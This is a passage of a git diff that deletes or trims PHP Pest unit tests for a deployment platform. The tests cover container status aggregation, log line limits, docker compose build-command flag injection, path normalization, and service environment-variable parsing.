- ->toContain("return 'starting:excluded';")
- ->toContain("return 'exited';")
- ->toContain('return "$status:excluded";'); // For running:healthy:excluded
-});
-
-it('ensures calculateExcludedStatusFromStrings uses ContainerStatusAggregator', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
- expect($traitFile)
- ->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
- ->toContain('use App\Services\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;')
- ->toContain('$aggregator->aggregateFromStrings($containerStatuses)');
-
- // Check that it has appendExcludedSuffix helper for all states
- expect($traitFile)
- ->toContain('private function appendExcludedSuffix(string $status): string')
- ->toContain("return 'degraded:excluded';")
- ->toContain("return 'paused:excluded';")
- ->toContain("return 'starting:excluded';")
- ->toContain("return 'exited';")
- ->toContain('return "$status:excluded";'); // For running:healthy:excluded
-});
-
-it('verifies no code path skips update when all containers excluded', function () {
- $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // These patterns should NOT exist anymore (old behavior that caused drift)
- expect($pushServerUpdateJobFile)
- ->not->toContain("// If all containers are excluded, don't update status");
-
- expect($getContainersStatusFile)
- ->not->toContain("// If all containers are excluded, don't update status");
-
- // Instead, both should calculate excluded status
- expect($pushServerUpdateJobFile)
- ->toContain('// If all containers are excluded, calculate status from excluded containers');
-
- expect($getContainersStatusFile)
- ->toContain('// If all containers are excluded, calculate status from excluded containers');
-});
diff --git a/tests/Unit/Api/LogEndpointHelpersTest.php b/tests/Unit/Api/LogEndpointHelpersTest.php
index e298def5dd..53fc6ad00d 100644
--- a/tests/Unit/Api/LogEndpointHelpersTest.php
+++ b/tests/Unit/Api/LogEndpointHelpersTest.php
@@ -39,32 +39,6 @@ it('keeps MCP log requests bounded', function () {
->and($normalizer->normalize('501'))->toBe(500);
});
-it('documents the named all logs option on every REST log endpoint', function (string $controller) {
- $source = file_get_contents(__DIR__."/../../../app/Http/Controllers/Api/{$controller}.php");
-
- expect($source)->toContain('Use `all` to return all logs. `-1` remains available as a compatibility alias.');
-})->with([
- 'applications' => 'ApplicationsController',
- 'databases' => 'DatabasesController',
- 'services' => 'ServicesController',
- 'service applications' => 'ServiceApplicationsController',
- 'service databases' => 'ServiceDatabasesController',
-]);
-
-it('normalizes service resource log line counts before invoking Docker', function (string $controller, mixed $lines, int $expectedLines) {
- $source = file_get_contents(__DIR__."/../../../app/Http/Controllers/Api/{$controller}.php");
-
- expect($source)->toContain('$lines = normalizeLogLines($request->query(\'lines\'));')
- ->and(normalizeLogLines($lines))->toBe($expectedLines);
-})->with([
- 'application invalid value' => ['ServiceApplicationsController', 'invalid', 100],
- 'application negative value' => ['ServiceApplicationsController', '-5', 100],
- 'application value above limit' => ['ServiceApplicationsController', '50000', 10000],
- 'database invalid value' => ['ServiceDatabasesController', 'invalid', 100],
- 'database negative value' => ['ServiceDatabasesController', '-5', 100],
- 'database value above limit' => ['ServiceDatabasesController', '50000', 10000],
-]);
-
it('parses show_timestamps query values as booleans', function () {
if (! function_exists('parseLogTimestampFlag')) {
expect(function_exists('parseLogTimestampFlag'))->toBeTrue();
diff --git a/tests/Unit/ApplicationConfigurationChangeTest.php b/tests/Unit/ApplicationConfigurationChangeTest.php
deleted file mode 100644
index 8ad88280b8..0000000000
--- a/tests/Unit/ApplicationConfigurationChangeTest.php
+++ /dev/null
@@ -1,49 +0,0 @@
-not->toBe($hash2)
- ->and($hash1)->not->toBe($hash3)
- ->and($hash2)->not->toBe($hash3);
-});
-
-/**
- * Unit test to verify that inject_build_args_to_dockerfile is included in configuration change detection.
- * Tests the behavior of the isConfigurationChanged method by verifying that different
- * inject_build_args_to_dockerfile values produce different configuration hashes.
- */
-it('different inject_build_args_to_dockerfile values produce different hashes', function () {
- // Test that the hash calculation includes inject_build_args_to_dockerfile by computing hashes with different values
- // true becomes '1', false becomes '', so they produce different hashes
- $hash1 = md5(base64_encode('test'.true)); // 'test1'
- $hash2 = md5(base64_encode('test'.false)); // 'test'
- $hash3 = md5(base64_encode('test')); // 'test'
-
- expect($hash1)->not->toBe($hash2)
- ->and($hash2)->toBe($hash3); // false and empty string produce the same result
-});
-
-/**
- * Unit test to verify that include_source_commit_in_build is included in configuration change detection.
- * Tests the behavior of the isConfigurationChanged method by verifying that different
- * include_source_commit_in_build values produce different configuration hashes.
- */
-it('different include_source_commit_in_build values produce different hashes', function () {
- // Test that the hash calculation includes include_source_commit_in_build by computing hashes with different values
- // true becomes '1', false becomes '', so they produce different hashes
- $hash1 = md5(base64_encode('test'.true)); // 'test1'
- $hash2 = md5(base64_encode('test'.false)); // 'test'
- $hash3 = md5(base64_encode('test')); // 'test'
-
- expect($hash1)->not->toBe($hash2)
- ->and($hash2)->toBe($hash3); // false and empty string produce the same result
-});
diff --git a/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php b/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
index 3dd18ee6cb..b3296410bd 100644
--- a/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
+++ b/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
@@ -14,127 +14,6 @@
* - Both flags are injected in a single str_replace operation
* - Build arguments are appended when not using build secrets
*/
-it('injects --env-file flag into custom build command', function () {
- $customCommand = 'docker compose -f ./docker-compose.yaml build';
-
- // Simulate the injection logic from ApplicationDeploymentJob
- if (! str_contains($customCommand, '--env-file')) {
- $customCommand = str_replace(
- 'docker compose',
- 'docker compose --env-file /artifacts/build-time.env',
- $customCommand
- );
- }
-
- expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
- expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
-});
-
-it('does not duplicate --env-file flag when already present', function () {
- $customCommand = 'docker compose --env-file /custom/.env -f ./docker-compose.yaml build';
-
- // Simulate the injection logic from ApplicationDeploymentJob
- if (! str_contains($customCommand, '--env-file')) {
- $customCommand = str_replace(
- 'docker compose',
- 'docker compose --env-file /artifacts/build-time.env',
- $customCommand
- );
- }
-
- expect($customCommand)->toBe('docker compose --env-file /custom/.env -f ./docker-compose.yaml build');
- expect(substr_count($customCommand, '--env-file'))->toBe(1);
-});
-
-it('preserves custom build command structure with env-file injection', function () {
- $customCommand = 'docker compose -f ./custom/path/docker-compose.prod.yaml build --no-cache';
-
- // Simulate the injection logic from ApplicationDeploymentJob
- if (! str_contains($customCommand, '--env-file')) {
- $customCommand = str_replace(
- 'docker compose',
- 'docker compose --env-file /artifacts/build-time.env',
- $customCommand
- );
- }
-
- expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/path/docker-compose.prod.yaml build --no-cache');
- expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
- expect($customCommand)->toContain('-f ./custom/path/docker-compose.prod.yaml');
- expect($customCommand)->toContain('build --no-cache');
-});
-
-it('handles multiple docker compose commands in custom build command', function () {
- // Edge case: Only the first 'docker compose' should get the env-file flag
- $customCommand = 'docker compose -f ./docker-compose.yaml build';
-
- // Simulate the injection logic from ApplicationDeploymentJob
- if (! str_contains($customCommand, '--env-file')) {
- $customCommand = str_replace(
- 'docker compose',
- 'docker compose --env-file /artifacts/build-time.env',
- $customCommand
- );
- }
-
- // Note: str_replace replaces ALL occurrences, which is acceptable in this case
- // since you typically only have one 'docker compose' command
- expect($customCommand)->toContain('docker compose --env-file /artifacts/build-time.env');
-});
-
-it('verifies build args would be appended correctly', function () {
- $customCommand = 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build';
- $buildArgs = collect([
- '--build-arg NODE_ENV=production',
- '--build-arg API_URL=https://api.example.com',
- ]);
-
- // Simulate build args appending logic
- $buildArgsString = $buildArgs->implode(' ');
- $buildArgsString = str_replace("'", "'\\''", $buildArgsString);
- $customCommand .= " {$buildArgsString}";
-
- expect($customCommand)->toContain('--build-arg NODE_ENV=production');
- expect($customCommand)->toContain('--build-arg API_URL=https://api.example.com');
- expect($customCommand)->toBe(
- 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build --build-arg NODE_ENV=production --build-arg API_URL=https://api.example.com'
- );
-});
-
-it('properly escapes single quotes in build args', function () {
- $buildArg = "--build-arg MESSAGE='Hello World'";
-
- // Simulate the escaping logic from ApplicationDeploymentJob
- $escapedBuildArg = str_replace("'", "'\\''", $buildArg);
-
- expect($escapedBuildArg)->toBe("--build-arg MESSAGE='\\''Hello World'\\''");
-});
-
-it('handles DOCKER_BUILDKIT prefix with env-file injection', function () {
- $customCommand = 'docker compose -f ./docker-compose.yaml build';
-
- // Simulate the injection logic from ApplicationDeploymentJob
- if (! str_contains($customCommand, '--env-file')) {
- $customCommand = str_replace(
- 'docker compose',
- 'docker compose --env-file /artifacts/build-time.env',
- $customCommand
- );
- }
-
- // Simulate BuildKit support
- $dockerBuildkitSupported = true;
- if ($dockerBuildkitSupported) {
- $customCommand = "DOCKER_BUILDKIT=1 {$customCommand}";
- }
-
- expect($customCommand)->toBe('DOCKER_BUILDKIT=1 docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
- expect($customCommand)->toStartWith('DOCKER_BUILDKIT=1');
- expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
-});
-
-// Tests for -f flag injection
-
it('injects -f flag with compose file path into custom build command', function () {
$customCommand = 'docker compose build';
$composeFilePath = '/artifacts/deployment-uuid/backend/docker-compose.yaml';
@@ -536,86 +415,6 @@ it('injects -f flag when command contains -fast flag (not -f)', function () {
expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml');
});
-// Path normalization tests for preview methods
-
-it('normalizes path when baseDirectory is root slash', function () {
- $baseDirectory = '/';
- $composeLocation = '/docker-compose.yaml';
-
- // Normalize baseDirectory to prevent double slashes
- $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
- $path = ".{$normalizedBase}{$composeLocation}";
-
- expect($path)->toBe('./docker-compose.yaml');
- expect($path)->not->toContain('//');
-});
-
-it('normalizes path when baseDirectory has trailing slash', function () {
- $baseDirectory = '/backend/';
- $composeLocation = '/docker-compose.yaml';
-
- // Normalize baseDirectory to prevent double slashes
- $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
- $path = ".{$normalizedBase}{$composeLocation}";
-
- expect($path)->toBe('./backend/docker-compose.yaml');
- expect($path)->not->toContain('//');
-});
-
-it('handles empty baseDirectory correctly', function () {
- $baseDirectory = '';
- $composeLocation = '/docker-compose.yaml';
-
- // Normalize baseDirectory to prevent double slashes
- $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
- $path = ".{$normalizedBase}{$composeLocation}";
-
- expect($path)->toBe('./docker-compose.yaml');
- expect($path)->not->toContain('//');
-});
-
-it('handles normal baseDirectory without trailing slash', function () {
- $baseDirectory = '/backend';
- $composeLocation = '/docker-compose.yaml';
-
- // Normalize baseDirectory to prevent double slashes
- $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
- $path = ".{$normalizedBase}{$composeLocation}";
-
- expect($path)->toBe('./backend/docker-compose.yaml');
- expect($path)->not->toContain('//');
-});
-
-it('handles nested baseDirectory with trailing slash', function () {
- $baseDirectory = '/app/backend/';
- $composeLocation = '/docker-compose.prod.yaml';
-
- // Normalize baseDirectory to prevent double slashes
- $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/');
- $path = ".{$normalizedBase}{$composeLocation}";
-
- expect($path)->toBe('./app/backend/docker-compose.prod.yaml');
- expect($path)->not->toContain('//');
-});
-
-it('produces correct preview path with normalized baseDirectory', function () {
- $testCases = [
- ['baseDir' => '/', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
- ['baseDir' => '', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'],
- ['baseDir' => '/backend', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
- ['baseDir' => '/backend/', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'],
- ['baseDir' => '/app/src/', 'compose' => '/docker-compose.prod.yaml', 'expected' => './app/src/docker-compose.prod.yaml'],
- ];
-
- foreach ($testCases as $case) {
- $normalizedBase = $case['baseDir'] === '/' ? '' : rtrim($case['baseDir'], '/');
- $path = ".{$normalizedBase}{$case['compose']}";
-
- expect($path)->toBe($case['expected'], "Failed for baseDir: {$case['baseDir']}");
- expect($path)->not->toContain('//', "Double slash found for baseDir: {$case['baseDir']}");
- }
-});
-
// Tests for injectDockerComposeBuildArgs() helper function
it('injects build args when building specific service', function () {
$command = 'docker compose build web';
diff --git a/tests/Unit/ApplicationDeploymentEmptyEnvTest.php b/tests/Unit/ApplicationDeploymentEmptyEnvTest.php
deleted file mode 100644
index 8649b8f9bc..0000000000
--- a/tests/Unit/ApplicationDeploymentEmptyEnvTest.php
+++ /dev/null
@@ -1,63 +0,0 @@
-toBeTrue("Build pack '{$buildPack}' should require empty .env file");
- }
-
- foreach ($buildPacksNotRequiringEnvFile as $buildPack) {
- // These build packs also use env_file but call save_runtime_environment_variables()
- // after generate_compose_file(), so they handle empty env files themselves
- $requiresEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
- expect($requiresEnvFile)->toBeFalse("Build pack '{$buildPack}' should not match the condition");
- }
-});
-
-it('verifies dockerimage build pack is included in empty env file creation logic', function () {
- $buildPack = 'dockerimage';
- $shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
-
- expect($shouldCreateEmptyEnvFile)->toBeTrue(
- 'dockerimage build pack should create empty .env file when no environment variables are defined'
- );
-});
-
-it('verifies dockercompose build pack is included in empty env file creation logic', function () {
- $buildPack = 'dockercompose';
- $shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
-
- expect($shouldCreateEmptyEnvFile)->toBeTrue(
- 'dockercompose build pack should create empty .env file when no environment variables are defined'
- );
-});
-
-it('verifies other build packs are not included in empty env file creation logic', function () {
- $otherBuildPacks = ['dockerfile', 'nixpacks', 'static', 'buildpack'];
-
- foreach ($otherBuildPacks as $buildPack) {
- $shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage');
-
- expect($shouldCreateEmptyEnvFile)->toBeFalse(
- "Build pack '{$buildPack}' should not create empty .env file in save_runtime_environment_variables()"
- );
- }
-});
diff --git a/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php b/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php
deleted file mode 100644
index 70b021f0ad..0000000000
--- a/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php
+++ /dev/null
@@ -1,11 +0,0 @@
-toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
- ->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
-
- expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
-});
diff --git a/tests/Unit/ApplicationHeadingNavigationTest.php b/tests/Unit/ApplicationHeadingNavigationTest.php
deleted file mode 100644
index 3240cdd36b..0000000000
--- a/tests/Unit/ApplicationHeadingNavigationTest.php
+++ /dev/null
@@ -1,10 +0,0 @@
-toBe(2)
- ->and($heading)
- ->not->toContain('navigate: false');
-});
diff --git a/tests/Unit/ApplicationParserStringableTest.php b/tests/Unit/ApplicationParserStringableTest.php
deleted file mode 100644
index eaba719841..0000000000
--- a/tests/Unit/ApplicationParserStringableTest.php
+++ /dev/null
@@ -1,187 +0,0 @@
-replace('_', '-')->value();
- $originalServiceName = str($serviceName)->replace('_', '-')->value();
-
- // Line 541: $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- // Verify both are plain strings, not Stringable objects
- expect(is_string($originalServiceName))->toBeTrue('$originalServiceName should be a plain string');
- expect(is_string($serviceName))->toBeTrue('$serviceName should be a plain string');
- expect($originalServiceName)->not->toBeInstanceOf(Stringable::class);
- expect($serviceName)->not->toBeInstanceOf(Stringable::class);
-
- // Verify the transformations work correctly
- expect($originalServiceName)->toBe('my-service');
- expect($serviceName)->toBe('my_service');
-});
-
-it('ensures strict comparison works with normalized service names', function () {
- // This tests the fix for line 606 where strict comparison failed
-
- // Simulate service name from docker-compose services array (line 604-605)
- $serviceNameKey = 'my-service';
- $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
-
- // Simulate service name from environment variable parsing (line 520, 541)
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service');
- $serviceName = $parsed['service_name'];
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- // Line 606: if ($transformedServiceName === $serviceName)
- // This MUST work - both should be plain strings and match
- expect($transformedServiceName === $serviceName)->toBeTrue(
- 'Strict comparison should work when both are plain strings'
- );
- expect($transformedServiceName)->toBe($serviceName);
-});
-
-it('ensures collection key lookup works with normalized service names', function () {
- // This tests the fix for line 615 where collection->get() failed
-
- // Simulate service name normalization (line 541)
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_app-name');
- $serviceName = $parsed['service_name'];
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- // Create a collection like $domains at line 614
- $domains = collect([
- 'app_name' => [
- 'domain' => 'https://example.com',
- ],
- ]);
-
- // Line 615: $domainExists = data_get($domains->get($serviceName), 'domain');
- // This MUST work - $serviceName should be a plain string 'app_name'
- $domainExists = data_get($domains->get($serviceName), 'domain');
-
- expect($domainExists)->toBe('https://example.com', 'Collection lookup should find the domain');
- expect($domainExists)->not->toBeNull('Collection lookup should not return null');
-});
-
-it('handles service names with dots correctly', function () {
- // Test service names with dots (e.g., 'my.service')
-
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my.service');
- $serviceName = $parsed['service_name'];
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- expect(is_string($serviceName))->toBeTrue();
- expect($serviceName)->toBe('my_service');
-
- // Verify it matches transformed service name from docker-compose
- $serviceNameKey = 'my.service';
- $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
-
- expect($transformedServiceName === $serviceName)->toBeTrue();
-});
-
-it('handles service names with underscores correctly', function () {
- // Test service names that already have underscores
-
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
- $serviceName = $parsed['service_name'];
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- expect(is_string($serviceName))->toBeTrue();
- expect($serviceName)->toBe('my_service');
-});
-
-it('handles mixed special characters in service names', function () {
- // Test service names with mix of dashes, dots, underscores
-
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-app.service_v2');
- $serviceName = $parsed['service_name'];
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- expect(is_string($serviceName))->toBeTrue();
- expect($serviceName)->toBe('my_app_service_v2');
-
- // Verify collection operations work
- $domains = collect([
- 'my_app_service_v2' => ['domain' => 'https://test.com'],
- ]);
-
- $found = $domains->get($serviceName);
- expect($found)->not->toBeNull();
- expect($found['domain'])->toBe('https://test.com');
-});
-
-it('ensures originalServiceName conversion works for FQDN generation', function () {
- // Test line 539: $originalServiceName conversion
-
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service');
- $serviceName = $parsed['service_name']; // 'my_service'
-
- // Line 539: Convert underscores to dashes for FQDN generation
- $originalServiceName = str($serviceName)->replace('_', '-')->value();
-
- expect(is_string($originalServiceName))->toBeTrue();
- expect($originalServiceName)->not->toBeInstanceOf(Stringable::class);
- expect($originalServiceName)->toBe('my-service');
-
- // Verify it can be used in string interpolation (line 544)
- $uuid = 'test-uuid';
- $random = "$originalServiceName-$uuid";
- expect($random)->toBe('my-service-test-uuid');
-});
-
-it('prevents duplicate domain entries in collection', function () {
- // This tests that using plain strings prevents duplicate entries
- // (one with Stringable key, one with string key)
-
- $parsed = parseServiceEnvironmentVariable('SERVICE_URL_webapp');
- $serviceName = $parsed['service_name'];
- $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-
- $domains = collect();
-
- // Add domain entry (line 621)
- $domains->put($serviceName, [
- 'domain' => 'https://webapp.com',
- ]);
-
- // Try to lookup the domain (line 615)
- $found = $domains->get($serviceName);
-
- expect($found)->not->toBeNull('Should find the domain we just added');
- expect($found['domain'])->toBe('https://webapp.com');
-
- // Verify only one entry exists
- expect($domains->count())->toBe(1);
- expect($domains->has($serviceName))->toBeTrue();
-});
-
-it('verifies parsers.php has the ->value() calls', function () {
- // Ensure the fix is actually in the code
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Line 539: Check originalServiceName conversion
- expect($parsersFile)->toContain("str(\$serviceName)->replace('_', '-')->value()");
-
- // Service name normalization for env keys / domain map (helper-based)
- expect($parsersFile)->toContain('normalizeComposeServiceName((string) $serviceName)')
- ->and($parsersFile)->toContain('getComposeServiceDomainString')
- ->and($parsersFile)->toContain('putComposeServiceDomain')
- ->and($parsersFile)->toContain('findServiceApplicationForEnvName');
-});
diff --git a/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php b/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php
deleted file mode 100644
index fe1a894433..0000000000
--- a/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php
+++ /dev/null
@@ -1,190 +0,0 @@
-toContain('ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs');
- expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
- expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
-});
-
-it('extracts service name with case preservation for applications', function () {
- // Simulate what the parser does for applications
- $templateVar = 'SERVICE_URL_WORDPRESS';
-
- $strKey = str($templateVar);
- $parsed = parseServiceEnvironmentVariable($templateVar);
-
- if ($parsed['has_port']) {
- $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
- } else {
- $serviceName = $strKey->after('SERVICE_URL_')->value();
- }
-
- expect($serviceName)->toBe('WORDPRESS');
- expect($parsed['service_name'])->toBe('wordpress'); // lowercase for internal use
-});
-
-it('handles port-specific application service variables', function () {
- $templateVar = 'SERVICE_URL_APP_3000';
-
- $strKey = str($templateVar);
- $parsed = parseServiceEnvironmentVariable($templateVar);
-
- if ($parsed['has_port']) {
- $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
- } else {
- $serviceName = $strKey->after('SERVICE_URL_')->value();
- }
-
- expect($serviceName)->toBe('APP');
- expect($parsed['port'])->toBe('3000');
- expect($parsed['has_port'])->toBeTrue();
-});
-
-it('application should create 2 base variables when template has base SERVICE_URL', function () {
- // Given: Template defines SERVICE_URL_WP
- // Then: Should create both:
- // 1. SERVICE_URL_WP
- // 2. SERVICE_FQDN_WP
-
- $templateVar = 'SERVICE_URL_WP';
- $strKey = str($templateVar);
- $parsed = parseServiceEnvironmentVariable($templateVar);
-
- $serviceName = $strKey->after('SERVICE_URL_')->value();
-
- $urlKey = "SERVICE_URL_{$serviceName}";
- $fqdnKey = "SERVICE_FQDN_{$serviceName}";
-
- expect($urlKey)->toBe('SERVICE_URL_WP');
- expect($fqdnKey)->toBe('SERVICE_FQDN_WP');
- expect($parsed['has_port'])->toBeFalse();
-});
-
-it('application should create 4 variables when template has port-specific SERVICE_URL', function () {
- // Given: Template defines SERVICE_URL_APP_8080
- // Then: Should create all 4:
- // 1. SERVICE_URL_APP (base)
- // 2. SERVICE_FQDN_APP (base)
- // 3. SERVICE_URL_APP_8080 (port-specific)
- // 4. SERVICE_FQDN_APP_8080 (port-specific)
-
- $templateVar = 'SERVICE_URL_APP_8080';
- $strKey = str($templateVar);
- $parsed = parseServiceEnvironmentVariable($templateVar);
-
- $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
- $port = $parsed['port'];
-
- $baseUrlKey = "SERVICE_URL_{$serviceName}";
- $baseFqdnKey = "SERVICE_FQDN_{$serviceName}";
- $portUrlKey = "SERVICE_URL_{$serviceName}_{$port}";
- $portFqdnKey = "SERVICE_FQDN_{$serviceName}_{$port}";
-
- expect($baseUrlKey)->toBe('SERVICE_URL_APP');
- expect($baseFqdnKey)->toBe('SERVICE_FQDN_APP');
- expect($portUrlKey)->toBe('SERVICE_URL_APP_8080');
- expect($portFqdnKey)->toBe('SERVICE_FQDN_APP_8080');
-});
-
-it('application should create pairs when template has only SERVICE_FQDN', function () {
- // Given: Template defines SERVICE_FQDN_DB
- // Then: Should create both:
- // 1. SERVICE_FQDN_DB
- // 2. SERVICE_URL_DB (created automatically)
-
- $templateVar = 'SERVICE_FQDN_DB';
- $strKey = str($templateVar);
- $parsed = parseServiceEnvironmentVariable($templateVar);
-
- $serviceName = $strKey->after('SERVICE_FQDN_')->value();
-
- $urlKey = "SERVICE_URL_{$serviceName}";
- $fqdnKey = "SERVICE_FQDN_{$serviceName}";
-
- expect($fqdnKey)->toBe('SERVICE_FQDN_DB');
- expect($urlKey)->toBe('SERVICE_URL_DB');
- expect($parsed['has_port'])->toBeFalse();
-});
-
-it('verifies application deletion nulls both URL and FQDN', function () {
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Check that deletion handles both types
- expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceNameFormatted}');
- expect($parsersFile)->toContain('SERVICE_URL_{$serviceNameFormatted}');
-
- // Both should be set to null when domain is empty
- expect($parsersFile)->toContain('\'value\' => null');
-});
-
-it('handles abbreviated service names in applications', function () {
- // Applications can have abbreviated names in compose files just like services
- $templateVar = 'SERVICE_URL_WP'; // WordPress abbreviated
-
- $strKey = str($templateVar);
- $serviceName = $strKey->after('SERVICE_URL_')->value();
-
- expect($serviceName)->toBe('WP');
- expect($serviceName)->not->toBe('WORDPRESS');
-});
-
-it('application compose parsing creates pairs regardless of template type', function () {
- // Test that whether template uses SERVICE_URL or SERVICE_FQDN,
- // the parser creates both
-
- $testCases = [
- 'SERVICE_URL_APP' => ['base' => 'APP', 'port' => null],
- 'SERVICE_FQDN_APP' => ['base' => 'APP', 'port' => null],
- 'SERVICE_URL_APP_3000' => ['base' => 'APP', 'port' => '3000'],
- 'SERVICE_FQDN_APP_3000' => ['base' => 'APP', 'port' => '3000'],
- ];
-
- foreach ($testCases as $templateVar => $expected) {
- $strKey = str($templateVar);
- $parsed = parseServiceEnvironmentVariable($templateVar);
-
- if ($parsed['has_port']) {
- if ($strKey->startsWith('SERVICE_URL_')) {
- $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
- } else {
- $serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
- }
- } else {
- if ($strKey->startsWith('SERVICE_URL_')) {
- $serviceName = $strKey->after('SERVICE_URL_')->value();
- } else {
- $serviceName = $strKey->after('SERVICE_FQDN_')->value();
- }
- }
-
- expect($serviceName)->toBe($expected['base'], "Failed for $templateVar");
- expect($parsed['port'])->toBe($expected['port'], "Port mismatch for $templateVar");
- }
-});
-
-it('verifies both application and service use same logic', function () {
- $servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
- $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
-
- // Both should have the same pattern of creating pairs
- expect($servicesFile)->toContain('ALWAYS create base pair');
- expect($parsersFile)->toContain('ALWAYS create BOTH');
-
- // Both should create SERVICE_URL_
- expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}');
- expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
-
- // Both should create SERVICE_FQDN_
- expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}');
- expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
-});
diff --git a/tests/Unit/ApplicationWatchPathsTest.php b/tests/Unit/ApplicationWatchPathsTest.php
index 5f296bc5e8..b2decf4c81 100644
--- a/tests/Unit/ApplicationWatchPathsTest.php
+++ b/tests/Unit/ApplicationWatchPathsTest.php
@@ -2,35 +2,6 @@
use App\Models\Application;
-/**
- * This matches the CURRENT (broken) behavior without negation support
- * which is what the old Application.php had
- */
-function matchWatchPathsCurrentBehavior(array $changed_files, ?array $watch_paths): array
-{
- if (is_null($watch_paths) || empty($watch_paths)) {
- return [];
- }
-
- $matches = [];
- foreach ($changed_files as $file) {
- foreach ($watch_paths as $pattern) {
- $pattern = trim($pattern);
- if (empty($pattern)) {
- continue;
- }
- // Old implementation just uses fnmatch directly
- // This means !patterns are treated as literal strings
- if (fnmatch($pattern, $file)) {
- $matches[] = $file;
- break;
- }
- }
- }
-
- return $matches;
-}
-
/**
* Use the shared implementation from Application model
*/
@@ -258,24 +229,6 @@ it('handles multiple negation patterns', function () {
expect(matchWatchPaths(['CHANGELOG.md'], $watch_paths))->toBeEmpty();
});
-it('demonstrates current broken behavior with negation patterns', function () {
- // This test demonstrates the CURRENT broken behavior
- // where negation patterns are treated as literal strings
- $changed_files = ['docker-compose/index.ts'];
- $watch_paths = ['!docker-compose-test/**'];
-
- // With the current broken implementation, this returns empty
- // because it tries to match files starting with literal "!"
- $matches = matchWatchPathsCurrentBehavior($changed_files, $watch_paths);
- expect($matches)->toBeEmpty(); // This is why your webhook doesn't trigger!
-
- // Even if the file had ! in the path, fnmatch would treat ! as a literal character
- // not as a negation operator, so it still wouldn't match the pattern correctly
- $changed_files = ['test/file.ts'];
